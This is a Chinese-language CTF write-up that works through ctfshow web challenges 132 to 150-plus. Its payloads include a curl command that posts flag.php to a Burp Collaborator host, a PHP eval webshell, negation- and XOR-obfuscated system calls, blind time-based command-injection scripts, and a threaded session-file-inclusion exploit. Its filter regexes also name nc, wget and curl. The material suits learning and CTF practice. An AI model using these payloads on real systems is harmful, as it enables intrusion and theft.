溢出回溯限制

利用脚本:

import requests
url="http://.ctf.show:8080/"
data={
    
    
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

首先打开是一个网页,御剑扫一下有robots.txt和admin/index.php

打开admin/index.php得到源码

include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    
    
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
    
    
        
        if($code == 'admin'){
    
    
            echo $flag;
        }
        
    }
}

首先是进行了强类型转换,作用未知,继续往下审

PHP mt_rand() 函数:使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快

&&:需要前面和后面的条件都为true,才会返回true

||:只需要满足其中任意一个就行了

<?php
if(false && false || true){
    
    
	echo "true!";
}else{
    
    
    echo "false!";
}
?>

//返回结果为true

所以只需要满足后者就行:$username ==="admin"

同时满足下一个if:$code == 'admin'

当然还有第一个if需要满足

web133

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("6个字母都还不够呀?!");
    }
}

接下来的意思有点套娃的意思

$_GET['F']=`$F` ;ls;
eval(substr($F,0,6))=eval(`$F` ;)
$f=$_GET['F']=`$F` ;ls;
 eval(`$F` ;)= eval(``$F` ;ls;`)
 可以利用sleep函数验证

但是无回显,属于无回显RCE

这里的wp是利用curl来实现flag.php的外带

payload:
?F=`$F `;+curl -X POST -F xx=@flag.php 6hokugw3tjr8vdj8f2yldiead1jt7i.burpcollaborator.net

# -X POST  指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件 

curl 的参数用法

在线工具(没用明白)

利用burpsuite

不错不错很好,学到一招面对无回显rce

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    
    
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    
    
    die(file_get_contents('flag.php'));
} 

$_SERVER[‘QUERY_STRING’]解释

PHP extract() 函数

payload:?_POST[key1]=36d&_POST[key2]=36d

web135

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    
    
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
    
    
        eval(substr($F,0,6));
    }else{
    
    
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
} 

此次利用没有了curl,利用的是cp命令

?F=`$F` ;cp flag.php 666.txt
?F=`$F` ;nl flag.php>666.txt
?F=`$F` ;mv flag.php 666.txt

web136

<?php
error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?> 

Linux tee命令

常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*2>&1 | tee ls.txt

payload:

?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1
访问1,下载文件得flag

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

调用类中函数,需要调用静态类

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法

payload:ctfshow=ctfshow::getFlag

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    
    
    die("private function");
}

call_user_func($_POST['ctfshow']);

php特性:

考察了call_user_func()用数组形式调用类方法

详看:根据方法名调用call_user_func()详解

call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法

array[0]=$classname  类名
array[1]=say_hello   say_hello()方法

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139——盲打(未实操)

<?php
error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?>

awk命令:是一个强大的文本分析工具

用awk命令、cut命令截取字符
sleep命令确认是否正确

awk NR==2 获取第二行信息
cut -c 1  截取第1个字符

zsh下if语句的格式:
 if [[condition]] {
    
    command
} elif {
    
    
} else {
    
    
}

参考大佬的脚本:
获取文件名的脚本

import requests
import time
import string
str=string.ascii_letters+string.digits	#生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):
	key=0
	for j in range(1,15):
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
			try:
				requests.get(url,timeout=(2.5,2.5))
			except:
			    result=result+n
			    print(result)
			    break
			if n=='9':
				key=1
	result+=" "

猜解文件内容的脚本:

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))	#time()第一个参数是响应时间,第二个是读取时间
		except:
		    result=result+n
		    print(result)
		    break

web140——松散比较==

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    
    
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
    
    
        if(preg_match('/^[a-z0-9]+$/', $f2)){
    
    
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
    
    
                echo file_get_contents("flag.php");
            }
        }
    }
}

查看PHP类型比较表 可发现

0==“字符串” 返回的是TRUE

intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0

payload:

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

web141——取反~

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/^\W+$/', $v3)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

绕过无字母数字的方法参考yu师傅的脚本:这里直接利用取反脚本

绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)

system(tac f*);
经过取反处理
(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

运行完直接报毒,关闭杀软后食用,此处会先进行url解码再匹配

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    
    
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
    
    
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
payload:
?v1=0   	八进制
?v1=0x0		16进制
?v1=0e123	科学计数法

web143——异或^

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

为了在return中保证运算,我们需要用*来实现

web144——取反~配合±号

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
    
    
        if(preg_match('/^\W+$/', $v2)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    
    
    return strlen($str)===1?true:false;
}

web145——三目运算符的妙用?:

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

测试:

eval("return 1?phpinfo():1;");

这是可以运行出来的

web146——等号和位运算

<?php

hlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

eval("return 1==phpinfo()||1;");

web147——代码注入

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    
    
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
    
    
        $ctfshow('',$_GET['show']);
    }

}

分析正则表达式:
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行

create_function:

参考这篇文章第一道题

create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。

string create_function    ( string $args   , string $code   )

string $args 参数部分
string $code 方法代码部分

举例:

create_function('$name','echo $fname."Zhang"')
类似于:

function fT($name) {
    
    
  echo $fname."Zhang";
}

绕过匹配的方式很简单:需要在开头或者结尾找到一一个字符同时不影响函数的正常调用

现场制作一个fuzz用的字典:

<?php
$myfile = fopen("ascii.txt","w");
for($i = 0;$i < 129; $i++){
    
    
	$a = chr($i);
	if(!preg_match('/[a-z0-9]/isD',$a)){
    
    
		preg_replace('/[a-z0-9]/isD','',$a);
		$b = urlencode($a)."\n";
		//$c = "未编码:".$a."经过编码:".$b."\n";
		fwrite($myfile,$b);
	}
	//echo $c;
}
fclose($myfile);
?>

然后复制本题目代码本地搭建:开始寻找命中字符

先构造payload:

create_function('',$_GET['show'])
function hacker($hackername) {
    
    
	}echo "yn8rt";//
}
所以:
create_function('','}echo "yn8rt";//')
payload:
?show=}echo "yn8rt";//
post:ctf=%create_function

开始fuzz:

payload:

?show=}system('tac f*');//

ctf=%5ccreate_function

而事实上%5c就是\

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

web148

if(isset($_GET['code'])){
    
    
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
    
    
        die("error");
    }
    @eval($code);
}
else{
    
    
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    
    
    echo file_get_contents("flag.php");
}

中文变量:

code=$哈="`{
   
   {
   
   {"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{
   
   {
   
   {"^"?<>/"; 异或出来的结果是 _GET
${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g

这里是直接一个回调,利用现成的函数来读取flag.php

web149——条件竞争

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file); //unlink() 函数删除文件。
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']); //file_put_contents会覆盖之前文件的内容

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

方法一:

你不删除index.php,那么我就往index.php中写个木马

?ctf=index.php
show=<?php @eval($_POST['yn8rt']);?>

方法二:

条件竞争:

?ctf=1.php
show=<?php system('tac /f*');?>

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    
    
    include($ctf);
}

非预期解:

ua头写入一句话

include包含(/var/log/nginx/access.log)

session包含脚本:

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading

sessid = 'test'
data = {
    
    
    "ctf": "/tmp/sess_test",
    "cmd": 'system("cat flag.php");'
}


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                            data={
    
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={
    
    'file': ('test.txt', f)}, cookies={
    
    'PHPSESSID': sessid})


def read(session):
    while event.isSet():
        res = session.post(
            'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
            data=data
        )
        if 'flag{' in res.text:
            print(res.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 5):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 5):
            threading.Thread(target=read, args=(session,)).start()

web150-plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    
    
    include($ctf);
}

session文件包含可以继续打!

猜你喜欢

转载自blog.csdn.net/qq_50589021/article/details/119425927